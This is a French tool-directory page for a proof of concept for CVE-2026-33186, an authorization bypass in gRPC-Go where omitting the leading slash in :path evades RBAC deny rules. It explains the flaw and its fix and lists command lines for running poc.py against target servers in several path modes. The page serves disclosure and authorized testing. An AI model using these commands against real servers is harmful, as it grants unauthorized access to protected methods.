Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33186 — Contournement de la politique d'autorisation RBAC de gRPC-Go via l'absence de slash dans `:path` (Contournement d'authentification) | Kitploit
Outils/GitHubGitHub/johanneslks/cve-2026-33186
Authentification et AutorisationExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des API
GitHubjohanneslks/cve-2026-33186

CVE-2026-33186

Contournement de la politique d'autorisation RBAC de gRPC-Go via l'absence de slash dans `:path` (Contournement d'authentification)

Voir le dépôt
112il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33186

Contournement de la politique d'autorisation RBAC gRPC-Go via un slash manquant dans :path (Bypass d'authentification)

Description

Le paquet authz dans google.golang.org/grpc implémente l'autorisation RBAC au niveau du SDK en utilisant des règles de refus (deny) et d'autorisation (allow) comparées au pseudo-en-tête :path. Le transport du serveur HTTP/2 stocke la valeur brute de :path provenant du client sans vérifier qu'elle commence par /. La couche de routage (handleStream) normalise le chemin avant l'envoi, mais le moteur RBAC lit la valeur pré-normalisation depuis le contexte via grpc.Method(ctx).

Les règles de refus sont écrites comme /Service/Method (avec une barre oblique initiale). Envoyer :path = "Service/Method" (sans barre oblique) fait que la règle de refus échoue lors de la comparaison du premier caractère. La règle d'autorisation par défaut s'applique et la méthode protégée s'exécute.

Tout serveur gRPC utilisant authz.NewStatic() ou authz.NewFileWatcher() avec des règles de refus est vulnérable. Un client HTTP/2 brut (Python h2, curl --http2, ou tout rédacteur de trames personnalisé) suffit pour exploiter cette vulnérabilité -- sans identifiants, sans état préalable.

Une vérification en direct contre grpc-go v1.71.0 a renvoyé le statut gRPC 0 (OK) sur une AdminMethod en liste de refus lorsque la barre oblique initiale était omise, tandis que l'appel identique avec la barre oblique canonique renvoyait le statut 7 (PermissionDenied).

Affecté : google.golang.org/grpc < v1.79.3. Corrigé dans v1.79.3 (PR #8981).

Utilisation

# Install the Python HTTP/2 dependency:
pip install h2

# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod

# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --service MyService --method SecretMethod

# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash

# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --path-mode double-slash --service MyService --method SecretMethod

# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
  --attack-path '//MyService/SecretMethod'

# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt

--host contrôle l'hôte :authority HTTP/2 sauf si --authority est défini. --connect-host contrôle la destination TCP. Ceci est utile pour les configurations d'hôte virtuel ou de proxy inverse où l'IP accessible est différente de l'autorité du backend routé.

Le problème canonique de grpc-go est --path-mode no-slash. double-slash et custom sont des aides génériques pour les environnements où un proxy transmet une forme de chemin malformé différente au backend vulnérable.

Prérequis

  • Attaquant : Python 3.8+, h2 (pip install h2)
  • Cible : Serveur gRPC-Go utilisant le paquet authz avec des règles de refus

Fichiers

FichierDescription
poc.pyPython PoC -- envoie 3 appels HTTP/2 bruts (référence/attaque/contrôle) pour prouver le contournement
README.mdDétails de la vulnérabilité, exemples d'utilisation et références
LICENSELicence GPLv3

Références

  • https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3
  • https://github.com/grpc/grpc-go/pull/8981

Avis juridique

Ce projet est publié sous la licence GNU GPLv3.

Il est fourni pour la recherche en sécurité défensive, l'éducation et les tests autorisés. N'utilisez pas ce code contre des systèmes ou services sans autorisation explicite du propriétaire.

Une utilisation non autorisée peut violer la loi applicable. Les auteurs n'accordent pas la permission de tester des systèmes tiers et ne sont pas responsables d'une utilisation abusive.

Voir le fichier LICENSE pour les termes de garantie et de responsabilité.

Télécharger l’outil